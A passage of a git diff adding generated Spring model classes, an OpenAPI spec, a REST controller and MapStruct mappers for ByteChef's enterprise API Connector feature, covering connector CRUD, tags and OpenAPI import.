+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.022251+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+public class ImportOpenApiSpecificationRequestModel {
+
+  private String name;
+
+  private @Nullable String icon;
+
+  private String specification;
+
+  public ImportOpenApiSpecificationRequestModel() {
+    super();
+  }
+
+  /**
+   * Constructor with only required parameters
+   */
+  public ImportOpenApiSpecificationRequestModel(String name, String specification) {
+    this.name = name;
+    this.specification = specification;
+  }
+
+  public ImportOpenApiSpecificationRequestModel name(String name) {
+    this.name = name;
+    return this;
+  }
+
+  /**
+   * The component name of an API Connector.
+   * @return name
+   */
+  @NotNull 
+  @Schema(name = "name", description = "The component name of an API Connector.", requiredMode = Schema.RequiredMode.REQUIRED)
+  @JsonProperty("name")
+  public String getName() {
+    return name;
+  }
+
+  public void setName(String name) {
+    this.name = name;
+  }
+
+  public ImportOpenApiSpecificationRequestModel icon(@Nullable String icon) {
+    this.icon = icon;
+    return this;
+  }
+
+  /**
+   * The icon of an API Connector.
+   * @return icon
+   */
+  
+  @Schema(name = "icon", description = "The icon of an API Connector.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("icon")
+  public @Nullable String getIcon() {
+    return icon;
+  }
+
+  public void setIcon(@Nullable String icon) {
+    this.icon = icon;
+  }
+
+  public ImportOpenApiSpecificationRequestModel specification(String specification) {
+    this.specification = specification;
+    return this;
+  }
+
+  /**
+   * The OpenAPI specification.
+   * @return specification
+   */
+  @NotNull 
+  @Schema(name = "specification", description = "The OpenAPI specification.", requiredMode = Schema.RequiredMode.REQUIRED)
+  @JsonProperty("specification")
+  public String getSpecification() {
+    return specification;
+  }
+
+  public void setSpecification(String specification) {
+    this.specification = specification;
+  }
+
+  @Override
+  public boolean equals(Object o) {
+    if (this == o) {
+      return true;
+    }
+    if (o == null || getClass() != o.getClass()) {
+      return false;
+    }
+    ImportOpenApiSpecificationRequestModel importOpenApiSpecificationRequest = (ImportOpenApiSpecificationRequestModel) o;
+    return Objects.equals(this.name, importOpenApiSpecificationRequest.name) &&
+        Objects.equals(this.icon, importOpenApiSpecificationRequest.icon) &&
+        Objects.equals(this.specification, importOpenApiSpecificationRequest.specification);
+  }
+
+  @Override
+  public int hashCode() {
+    return Objects.hash(name, icon, specification);
+  }
+
+  @Override
+  public String toString() {
+    StringBuilder sb = new StringBuilder();
+    sb.append("class ImportOpenApiSpecificationRequestModel {\n");
+    sb.append("    name: ").append(toIndentedString(name)).append("\n");
+    sb.append("    icon: ").append(toIndentedString(icon)).append("\n");
+    sb.append("    specification: ").append(toIndentedString(specification)).append("\n");
+    sb.append("}");
+    return sb.toString();
+  }
+
+  /**
+   * Convert the given object to string with each line indented by 4 spaces
+   * (except the first line).
+   */
+  private String toIndentedString(Object o) {
+    if (o == null) {
+      return "null";
+    }
+    return o.toString().replace("\n", "\n    ");
+  }
+}
+
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/TagModel.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/TagModel.java
new file mode 100644
index 00000000000..5e245eb0f64
--- /dev/null
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/TagModel.java
@@ -0,0 +1,246 @@
+package com.bytechef.ee.platform.apiconnector.configuration.web.rest.model;
+
+import java.net.URI;
+import java.util.Objects;
+import com.fasterxml.jackson.annotation.JsonProperty;
+import com.fasterxml.jackson.annotation.JsonCreator;
+import com.fasterxml.jackson.annotation.JsonTypeName;
+import java.time.OffsetDateTime;
+import org.springframework.format.annotation.DateTimeFormat;
+import org.springframework.lang.Nullable;
+import org.openapitools.jackson.nullable.JsonNullable;
+import java.time.OffsetDateTime;
+import jakarta.validation.Valid;
+import jakarta.validation.constraints.*;
+import io.swagger.v3.oas.annotations.media.Schema;
+
+
+import java.util.*;
+import jakarta.annotation.Generated;
+
+/**
+ * A tag.
+ */
+
+@Schema(name = "Tag", description = "A tag.")
+@JsonTypeName("Tag")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.022251+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+public class TagModel {
+
+  private @Nullable String createdBy;
+
+  @DateTimeFormat(iso = DateTimeFormat.ISO.DATE_TIME)
+  private @Nullable OffsetDateTime createdDate;
+
+  private @Nullable Long id;
+
+  private @Nullable String lastModifiedBy;
+
+  @DateTimeFormat(iso = DateTimeFormat.ISO.DATE_TIME)
+  private @Nullable OffsetDateTime lastModifiedDate;
+
+  private String name;
+
+  private @Nullable Integer version;
+
+  public TagModel() {
+    super();
+  }
+
+  /**
+   * Constructor with only required parameters
+   */
+  public TagModel(String name) {
+    this.name = name;
+  }
+
+  public TagModel createdBy(@Nullable String createdBy) {
+    this.createdBy = createdBy;
+    return this;
+  }
+
+  /**
+   * The created by.
+   * @return createdBy
+   */
+  
+  @Schema(name = "createdBy", accessMode = Schema.AccessMode.READ_ONLY, description = "The created by.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("createdBy")
+  public @Nullable String getCreatedBy() {
+    return createdBy;
+  }
+
+  public void setCreatedBy(@Nullable String createdBy) {
+    this.createdBy = createdBy;
+  }
+
+  public TagModel createdDate(@Nullable OffsetDateTime createdDate) {
+    this.createdDate = createdDate;
+    return this;
+  }
+
+  /**
+   * The created date.
+   * @return createdDate
+   */
+  @Valid 
+  @Schema(name = "createdDate", accessMode = Schema.AccessMode.READ_ONLY, description = "The created date.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("createdDate")
+  public @Nullable OffsetDateTime getCreatedDate() {
+    return createdDate;
+  }
+
+  public void setCreatedDate(@Nullable OffsetDateTime createdDate) {
+    this.createdDate = createdDate;
+  }
+
+  public TagModel id(@Nullable Long id) {
+    this.id = id;
+    return this;
+  }
+
+  /**
+   * The id of the tag.
+   * @return id
+   */
+  
+  @Schema(name = "id", description = "The id of the tag.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("id")
+  public @Nullable Long getId() {
+    return id;
+  }
+
+  public void setId(@Nullable Long id) {
+    this.id = id;
+  }
+
+  public TagModel lastModifiedBy(@Nullable String lastModifiedBy) {
+    this.lastModifiedBy = lastModifiedBy;
+    return this;
+  }
+
+  /**
+   * The last modified by.
+   * @return lastModifiedBy
+   */
+  
+  @Schema(name = "lastModifiedBy", accessMode = Schema.AccessMode.READ_ONLY, description = "The last modified by.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("lastModifiedBy")
+  public @Nullable String getLastModifiedBy() {
+    return lastModifiedBy;
+  }
+
+  public void setLastModifiedBy(@Nullable String lastModifiedBy) {
+    this.lastModifiedBy = lastModifiedBy;
+  }
+
+  public TagModel lastModifiedDate(@Nullable OffsetDateTime lastModifiedDate) {
+    this.lastModifiedDate = lastModifiedDate;
+    return this;
+  }
+
+  /**
+   * The last modified date.
+   * @return lastModifiedDate
+   */
+  @Valid 
+  @Schema(name = "lastModifiedDate", accessMode = Schema.AccessMode.READ_ONLY, description = "The last modified date.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("lastModifiedDate")
+  public @Nullable OffsetDateTime getLastModifiedDate() {
+    return lastModifiedDate;
+  }
+
+  public void setLastModifiedDate(@Nullable OffsetDateTime lastModifiedDate) {
+    this.lastModifiedDate = lastModifiedDate;
+  }
+
+  public TagModel name(String name) {
+    this.name = name;
+    return this;
+  }
+
+  /**
+   * The name of the tag.
+   * @return name
+   */
+  @NotNull 
+  @Schema(name = "name", description = "The name of the tag.", requiredMode = Schema.RequiredMode.REQUIRED)
+  @JsonProperty("name")
+  public String getName() {
+    return name;
+  }
+
+  public void setName(String name) {
+    this.name = name;
+  }
+
+  public TagModel version(@Nullable Integer version) {
+    this.version = version;
+    return this;
+  }
+
+  /**
+   * Get version
+   * @return version
+   */
+  
+  @Schema(name = "__version", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("__version")
+  public @Nullable Integer getVersion() {
+    return version;
+  }
+
+  public void setVersion(@Nullable Integer version) {
+    this.version = version;
+  }
+
+  @Override
+  public boolean equals(Object o) {
+    if (this == o) {
+      return true;
+    }
+    if (o == null || getClass() != o.getClass()) {
+      return false;
+    }
+    TagModel tag = (TagModel) o;
+    return Objects.equals(this.createdBy, tag.createdBy) &&
+        Objects.equals(this.createdDate, tag.createdDate) &&
+        Objects.equals(this.id, tag.id) &&
+        Objects.equals(this.lastModifiedBy, tag.lastModifiedBy) &&
+        Objects.equals(this.lastModifiedDate, tag.lastModifiedDate) &&
+        Objects.equals(this.name, tag.name) &&
+        Objects.equals(this.version, tag.version);
+  }
+
+  @Override
+  public int hashCode() {
+    return Objects.hash(createdBy, createdDate, id, lastModifiedBy, lastModifiedDate, name, version);
+  }
+
+  @Override
+  public String toString() {
+    StringBuilder sb = new StringBuilder();
+    sb.append("class TagModel {\n");
+    sb.append("    createdBy: ").append(toIndentedString(createdBy)).append("\n");
+    sb.append("    createdDate: ").append(toIndentedString(createdDate)).append("\n");
+    sb.append("    id: ").append(toIndentedString(id)).append("\n");
+    sb.append("    lastModifiedBy: ").append(toIndentedString(lastModifiedBy)).append("\n");
+    sb.append("    lastModifiedDate: ").append(toIndentedString(lastModifiedDate)).append("\n");
+    sb.append("    name: ").append(toIndentedString(name)).append("\n");
+    sb.append("    version: ").append(toIndentedString(version)).append("\n");
+    sb.append("}");
+    return sb.toString();
+  }
+
+  /**
+   * Convert the given object to string with each line indented by 4 spaces
+   * (except the first line).
+   */
+  private String toIndentedString(Object o) {
+    if (o == null) {
+      return "null";
+    }
+    return o.toString().replace("\n", "\n    ");
+  }
+}
+
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/UpdateTagsRequestModel.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/UpdateTagsRequestModel.java
new file mode 100644
index 00000000000..694786f5240
--- /dev/null
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/UpdateTagsRequestModel.java
@@ -0,0 +1,100 @@
+package com.bytechef.ee.platform.apiconnector.configuration.web.rest.model;
+
+import java.net.URI;
+import java.util.Objects;
+import com.bytechef.ee.platform.apiconnector.configuration.web.rest.model.TagModel;
+import com.fasterxml.jackson.annotation.JsonProperty;
+import com.fasterxml.jackson.annotation.JsonCreator;
+import com.fasterxml.jackson.annotation.JsonTypeName;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import org.springframework.lang.Nullable;
+import org.openapitools.jackson.nullable.JsonNullable;
+import java.time.OffsetDateTime;
+import jakarta.validation.Valid;
+import jakarta.validation.constraints.*;
+import io.swagger.v3.oas.annotations.media.Schema;
+
+
+import java.util.*;
+import jakarta.annotation.Generated;
+
+/**
+ * The request object that contains the array of tags.
+ */
+
+@Schema(name = "UpdateTagsRequest", description = "The request object that contains the array of tags.")
+@JsonTypeName("UpdateTagsRequest")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.022251+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+public class UpdateTagsRequestModel {
+
+  @Valid
+  private List<@Valid TagModel> tags = new ArrayList<>();
+
+  public UpdateTagsRequestModel tags(List<@Valid TagModel> tags) {
+    this.tags = tags;
+    return this;
+  }
+
+  public UpdateTagsRequestModel addTagsItem(TagModel tagsItem) {
+    if (this.tags == null) {
+      this.tags = new ArrayList<>();
+    }
+    this.tags.add(tagsItem);
+    return this;
+  }
+
+  /**
+   * Get tags
+   * @return tags
+   */
+  @Valid 
+  @Schema(name = "tags", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("tags")
+  public List<@Valid TagModel> getTags() {
+    return tags;
+  }
+
+  public void setTags(List<@Valid TagModel> tags) {
+    this.tags = tags;
+  }
+
+  @Override
+  public boolean equals(Object o) {
+    if (this == o) {
+      return true;
+    }
+    if (o == null || getClass() != o.getClass()) {
+      return false;
+    }
+    UpdateTagsRequestModel updateTagsRequest = (UpdateTagsRequestModel) o;
+    return Objects.equals(this.tags, updateTagsRequest.tags);
+  }
+
+  @Override
+  public int hashCode() {
+    return Objects.hash(tags);
+  }
+
+  @Override
+  public String toString() {
+    StringBuilder sb = new StringBuilder();
+    sb.append("class UpdateTagsRequestModel {\n");
+    sb.append("    tags: ").append(toIndentedString(tags)).append("\n");
+    sb.append("}");
+    return sb.toString();
+  }
+
+  /**
+   * Convert the given object to string with each line indented by 4 spaces
+   * (except the first line).
+   */
+  private String toIndentedString(Object o) {
+    if (o == null) {
+      return "null";
+    }
+    return o.toString().replace("\n", "\n    ");
+  }
+}
+
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/org/openapitools/configuration/EnumConverterConfiguration.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/org/openapitools/configuration/EnumConverterConfiguration.java
new file mode 100644
index 00000000000..c997f44f36e
--- /dev/null
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/org/openapitools/configuration/EnumConverterConfiguration.java
@@ -0,0 +1,29 @@
+package org.openapitools.configuration;
+
+import com.bytechef.ee.platform.apiconnector.configuration.web.rest.model.HttpMethodModel;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.core.convert.converter.Converter;
+
+/**
+ * This class provides Spring Converter beans for the enum models in the OpenAPI specification.
+ *
+ * By default, Spring only converts primitive types to enums using Enum::valueOf, which can prevent
+ * correct conversion if the OpenAPI specification is using an `enumPropertyNaming` other than
+ * `original` or the specification has an integer enum.
+ */
+@Configuration(value = "org.openapitools.configuration.enumConverterConfiguration")
+public class EnumConverterConfiguration {
+
+    @Bean(name = "org.openapitools.configuration.EnumConverterConfiguration.httpMethodConverter")
+    Converter<String, HttpMethodModel> httpMethodConverter() {
+        return new Converter<String, HttpMethodModel>() {
+            @Override
+            public HttpMethodModel convert(String source) {
+                return HttpMethodModel.fromValue(source);
+            }
+        };
+    }
+
+}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/openapi.yaml b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/openapi.yaml
new file mode 100644
index 00000000000..751a7bddef9
--- /dev/null
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/openapi.yaml
@@ -0,0 +1,302 @@
+---
+openapi: "3.0.1"
+info:
+  title: "The Platform API Connector Internal API"
+  version: "1"
+servers:
+  - url: "/api/platform/internal"
+tags:
+  - name: "api-connector"
+    description: "The Platform API Connector Internal API"
+  - name: "api-connector-tag"
+    description: "The Automation API Connector Tag Internal API"
+paths:
+  /api-connectors:
+    get:
+      description: "Get API Connectors."
+      summary: "Get API Connectors"
+      tags:
+        - "api-connector"
+      operationId: "getApiConnectors"
+      responses:
+        "200":
+          description: "A list of API Connectors."
+          content:
+            application/json:
+              schema:
+                type: "array"
+                items:
+                  $ref: "#/components/schemas/ApiConnector"
+    post:
+      description: "Create a new API Connector."
+      summary: "Create a new API Connector"
+      tags:
+        - "api-connector"
+      operationId: "createApiConnector"
+      requestBody:
+        content:
+          application/json:
+            schema:
+              $ref: "#/components/schemas/ApiConnector"
+        required: true
+      responses:
+        "200":
+          description: "The API Connector object."
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/ApiConnector"
+  /api-connectors/{id}/enable/{enable}:
+    patch:
+      description: "Enable/disable a API Connector."
+      summary: "Enable/disable a API Connector."
+      tags:
+        - "api-connector"
+      operationId: "enableApiConnector"
+      parameters:
+        - name: "id"
+          description: "The id of the API Connector."
+          in: "path"
+          required: true
+          schema:
+            type: "integer"
+            format: "int64"
+        - name: "enable"
+          description: "Enable/disable the API Connector."
+          in: "path"
+          required: true
+          schema:
+            type: "boolean"
+      responses:
+        "204":
+          description: "Successful operation."
+  /api-connectors/import:
+    post:
+      description: "Create API Connector by importing OpenAPI specification."
+      summary: "Create API Connector by importing OpenAPI specification"
+      tags:
+        - "api-connector"
+      operationId: "importOpenApiSpecification"
+      requestBody:
+        content:
+          application/json:
+            schema:
+              type: object
+              required:
+                - name
+                - specification
+              properties:
+                name:
+                  description: "The component name of an API Connector."
+                  type: "string"
+                icon:
+                  description: "The icon of an API Connector."
+                  type: "string"
+                specification:
+                  description: "The OpenAPI specification."
+                  type: "string"
+        required: true
+      responses:
+        "200":
+          description: "The API Connector object."
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/ApiConnector"
+  /api-connectors/{id}:
+    delete:
+      description: "Delete an API Connector."
+      summary: "Delete an API Connector"
+      tags:
+        - "api-connector"
+      operationId: "deleteApiConnector"
+      parameters:
+        - name: "id"
+          description: "The id of the API Connector."
+          in: "path"
+          required: true
+          schema:
+            type: "integer"
+            format: "int64"
+      responses:
+        "204":
+          description: "Successful operation."
+    get:
+      description: "Get an API Connector by id."
+      summary: "Get an API Connector by id"
+      tags:
+        - "api-connector"
+      operationId: "getApiConnector"
+      parameters:
+        - name: "id"
+          description: "The id of the API Connector."
+          in: "path"
+          required: true
+          schema:
+            type: "integer"
+            format: "int64"
+      responses:
+        "200":
+          description: "The API Connector object."
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/ApiConnector"
+    put:
+      description: "Update an existing API Connector."
+      summary: "Update an existing API Connector"
+      tags:
+        - "api-connector"
+      operationId: "updateApiConnector"
+      parameters:
+        - name: "id"
+          description: "The id of the API Connector."
+          in: "path"
+          required: true
+          schema:
+            type: "integer"
+            format: "int64"
+      requestBody:
+        content:
+          application/json:
+            schema:
+              $ref: "#/components/schemas/ApiConnector"
+        required: true
+      responses:
+        "200":
+          description: "The updated API Connector object."
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/ApiConnector"
+components:
+  schemas:
+    ApiConnector:
+      description: "An API connector."
+      required:
+        - "name"
+        - "connectorVersion"
+      properties:
+        connectorVersion:
+          description: "The version of an API connector."
+          type: "string"
+        createdBy:
+          description: "The created by."
+          type: "string"
+          readOnly: true
+        createdDate:
+          description: "The created date."
+          type: "string"
+          format: "date-time"
+          readOnly: true
+        description:
+          description: "The description of an API connector."
+          type: "string"
+        definition:
+          description: "The definition of an API connector."
+          type: "string"
+          readOnly: true
+        enabled:
+          description: "If an API connector is enabled or not."
+          type: "boolean"
+        endpoints:
+          type: "array"
+          items:
+            $ref: "#/components/schemas/ApiConnectorEndpoint"
+        icon:
+          description: "The icon of an API connector."
+          type: "string"
+        id:
+          description: "The id of the API connector."
+          type: "integer"
+          format: "int64"
+        lastModifiedBy:
+          description: "The last modified by."
+          type: "string"
+          readOnly: true
+        lastModifiedDate:
+          description: "The last modified date."
+          type: "string"
+          format: "date-time"
+          readOnly: true
+        name:
+          description: "The name of an API connector."
+          type: "string"
+        specification:
+          description: "The specification of an API connector."
+          type: "string"
+          readOnly: true
+        tags:
+          type: "array"
+          items:
+            $ref: "#/components/schemas/Tag"
+        title:
+          description: "The title of an API connector."
+          type: "string"
+        __version:
+          type: "integer"
+          format: "int32"
+    ApiConnectorEndpoint:
+      description: "An API connector."
+      required:
+        - "name"
+      properties:
+        createdBy:
+          description: "The created by."
+          type: "string"
+          readOnly: true
+        createdDate:
+          description: "The created date."
+          type: "string"
+          format: "date-time"
+          readOnly: true
+        description:
+          description: "The description of an API connector's endpoint."
+          type: "string"
+        httpMethod:
+          $ref: "#/components/schemas/HttpMethod"
+        id:
+          description: "The id of the API connector's endpoint."
+          type: "integer"
+          format: "int64"
+        lastExecutionDate:
+          description: "The last execution date."
+          type: "string"
+          format: "date-time"
+          readOnly: true
+        lastModifiedBy:
+          description: "The last modified by."
+          type: "string"
+          readOnly: true
+        lastModifiedDate:
+          description: "The last modified date."
+          type: "string"
+          format: "date-time"
+          readOnly: true
+        name:
+          description: "The name of an API connector's endpoint."
+          type: "string"
+        path:
+          description: "The path of an API connector's endpoint."
+          type: "string"
+        __version:
+          type: "integer"
+          format: "int32"
+    HttpMethod:
+      description: "The HTTP method."
+      enum:
+        - "DELETE"
+        - "GET"
+        - "POST"
+        - "PUT"
+        - "PATCH"
+    Tag:
+      $ref: "../../../../../../libs/platform/platform-tag/platform-tag-rest/openapi/components/schemas/objects/tag.yaml"
+    UpdateTagsRequest:
+      description: "The request object that contains the array of tags."
+      type: "object"
+      properties:
+        tags:
+          type: "array"
+          items:
+            $ref: "#/components/schemas/Tag"
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/ApiConnectorApiController.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/ApiConnectorApiController.java
new file mode 100644
index 00000000000..6d25d4d994b
--- /dev/null
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/ApiConnectorApiController.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the ByteChef Enterprise license (the "Enterprise License");
+ * you may not use this file except in compliance with the Enterprise License.
+ */
+
+package com.bytechef.ee.platform.apiconnector.configuration.web.rest;
+
+import com.bytechef.atlas.coordinator.annotation.ConditionalOnCoordinator;
+import com.bytechef.commons.util.CollectionUtils;
+import com.bytechef.ee.platform.apiconnector.configuration.domain.ApiConnector;
+import com.bytechef.ee.platform.apiconnector.configuration.facade.ApiConnectorFacade;
+import com.bytechef.ee.platform.apiconnector.configuration.service.ApiConnectorService;
+import com.bytechef.ee.platform.apiconnector.configuration.web.rest.model.ApiConnectorModel;
+import com.bytechef.ee.platform.apiconnector.configuration.web.rest.model.ImportOpenApiSpecificationRequestModel;
+import com.bytechef.platform.annotation.ConditionalOnEEVersion;
+import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
+import java.util.List;
+import org.springframework.core.convert.ConversionService;
+import org.springframework.http.ResponseEntity;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+/**
+ * @version ee
+ *
+ * @author Ivica Cardic
+ */
+@RestController
+@RequestMapping("${openapi.openAPIDefinition.base-path.platform:}/internal")
+@ConditionalOnCoordinator
+@ConditionalOnEEVersion
+public class ApiConnectorApiController implements ApiConnectorApi {
+
+    private final ApiConnectorFacade apiConnectorFacade;
+    private final ApiConnectorService apiConnectorService;
+    private final ConversionService conversionService;
+
+    @SuppressFBWarnings("EI")
+    public ApiConnectorApiController(
+        ApiConnectorFacade apiConnectorFacade, ApiConnectorService apiConnectorService,
+        ConversionService conversionService) {
+
+        this.apiConnectorFacade = apiConnectorFacade;
+        this.apiConnectorService = apiConnectorService;
+        this.conversionService = conversionService;
+    }
+
+    @Override
+    public ResponseEntity<ApiConnectorModel> createApiConnector(ApiConnectorModel apiConnectorModel) {
+        return ResponseEntity.ok(
+            conversionService.convert(
+                apiConnectorService.create(conversionService.convert(apiConnectorModel, ApiConnector.class)),
+                ApiConnectorModel.class));
+    }
+
+    @Override
+    public ResponseEntity<Void> deleteApiConnector(Long id) {
+        apiConnectorService.delete(id);
+
+        return ResponseEntity.ok()
+            .build();
+    }
+
+    @Override
+    public ResponseEntity<Void> enableApiConnector(Long id, Boolean enable) {
+        apiConnectorService.enableApiConnector(id, enable);
+
+        return ResponseEntity.ok()
+            .build();
+    }
+
+    @Override
+    public ResponseEntity<ApiConnectorModel> getApiConnector(Long id) {
+        return ResponseEntity.ok(
+            conversionService.convert(apiConnectorService.getApiConnector(id), ApiConnectorModel.class));
+    }
+
+    @Override
+    public ResponseEntity<List<ApiConnectorModel>> getApiConnectors() {
+        return ResponseEntity.ok(
+            CollectionUtils.map(
+                apiConnectorFacade.getApiConnectors(),
+                openApiConnector -> conversionService.convert(openApiConnector, ApiConnectorModel.class)));
+    }
+
+    @Override
+    public ResponseEntity<ApiConnectorModel> importOpenApiSpecification(
+        ImportOpenApiSpecificationRequestModel importOpenAPISpecificationRequestModel) {
+
+        return ResponseEntity.ok(
+            conversionService.convert(
+                apiConnectorFacade.importOpenApiSpecification(
+                    importOpenAPISpecificationRequestModel.getName(),
+                    importOpenAPISpecificationRequestModel.getSpecification()),
+                ApiConnectorModel.class));
+    }
+
+    @Override
+    public ResponseEntity<ApiConnectorModel> updateApiConnector(
+        Long id, ApiConnectorModel apiConnectorModel) {
+
+        return ResponseEntity.ok(
+            conversionService.convert(
+                apiConnectorService.update(
+                    conversionService.convert(apiConnectorModel, ApiConnector.class)),
+                ApiConnectorModel.class));
+    }
+}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/mapper/ApiConnectorEndpointMapper.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/mapper/ApiConnectorEndpointMapper.java
new file mode 100644
index 00000000000..4a6b9d169b2
--- /dev/null
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/mapper/ApiConnectorEndpointMapper.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the ByteChef Enterprise license (the "Enterprise License");
+ * you may not use this file except in compliance with the Enterprise License.
+ */
+
+package com.bytechef.ee.platform.apiconnector.configuration.web.rest.mapper;
+
+import com.bytechef.ee.platform.apiconnector.configuration.domain.ApiConnectorEndpoint;
+import com.bytechef.ee.platform.apiconnector.configuration.web.rest.mapper.config.EePlatformApiConnectorConfigurationMapperSpringConfig;
+import com.bytechef.ee.platform.apiconnector.configuration.web.rest.model.ApiConnectorEndpointModel;
+import org.mapstruct.InheritInverseConfiguration;
+import org.mapstruct.Mapper;
+import org.mapstruct.Mapping;
+import org.mapstruct.extensions.spring.DelegatingConverter;
+import org.springframework.core.convert.converter.Converter;
+
+/**
+ * @version ee
+ *
+ * @author Ivica Cardic
+ */
+
+@Mapper(config = EePlatformApiConnectorConfigurationMapperSpringConfig.class)
+public interface ApiConnectorEndpointMapper extends Converter<ApiConnectorEndpoint, ApiConnectorEndpointModel> {
+
+    @Override
+    @Mapping(target = "lastExecutionDate", ignore = true)
+    ApiConnectorEndpointModel convert(ApiConnectorEndpoint apiConnectorEndpoint);
+
+    @InheritInverseConfiguration
+    @DelegatingConverter
+    @Mapping(target = "apiConnectorId", ignore = true)
+    ApiConnectorEndpoint invertConvert(ApiConnectorEndpointModel apiConnectorEndpointModel);
+}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/mapper/ApiConnectorMapper.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/mapper/ApiConnectorMapper.java
new file mode 100644
index 00000000000..644d71b51c4
--- /dev/null
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/mapper/ApiConnectorMapper.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the ByteChef Enterprise license (the "Enterprise License");
+ * you may not use this file except in compliance with the Enterprise License.
+ */
+
+package com.bytechef.ee.platform.apiconnector.configuration.web.rest.mapper;
+
+import com.bytechef.ee.platform.apiconnector.configuration.domain.ApiConnector;
+import com.bytechef.ee.platform.apiconnector.configuration.dto.ApiConnectorDTO;
+import com.bytechef.ee.platform.apiconnector.configuration.web.rest.mapper.config.EePlatformApiConnectorConfigurationMapperSpringConfig;
+import com.bytechef.ee.platform.apiconnector.configuration.web.rest.model.ApiConnectorModel;
+import org.mapstruct.InheritInverseConfiguration;
+import org.mapstruct.Mapper;
+import org.mapstruct.Mapping;
+import org.mapstruct.extensions.spring.DelegatingConverter;
+import org.springframework.core.convert.converter.Converter;
+
+/**
+ * @version ee
+ *
+ * @author Ivica Cardic
+ */
+public class ApiConnectorMapper {
+
+    @Mapper(config = EePlatformApiConnectorConfigurationMapperSpringConfig.class)
+    public interface ApiConnectorToApiConnectorModelMapper extends Converter<ApiConnector, ApiConnectorModel> {
+
+        @Override
+        @Mapping(target = "definition", ignore = true)
+        @Mapping(target = "endpoints", ignore = true)
+        @Mapping(target = "specification", ignore = true)
+        @Mapping(target = "tags", ignore = true)
+        ApiConnectorModel convert(ApiConnector apiConnector);
+
+        @InheritInverseConfiguration
+        @DelegatingConverter
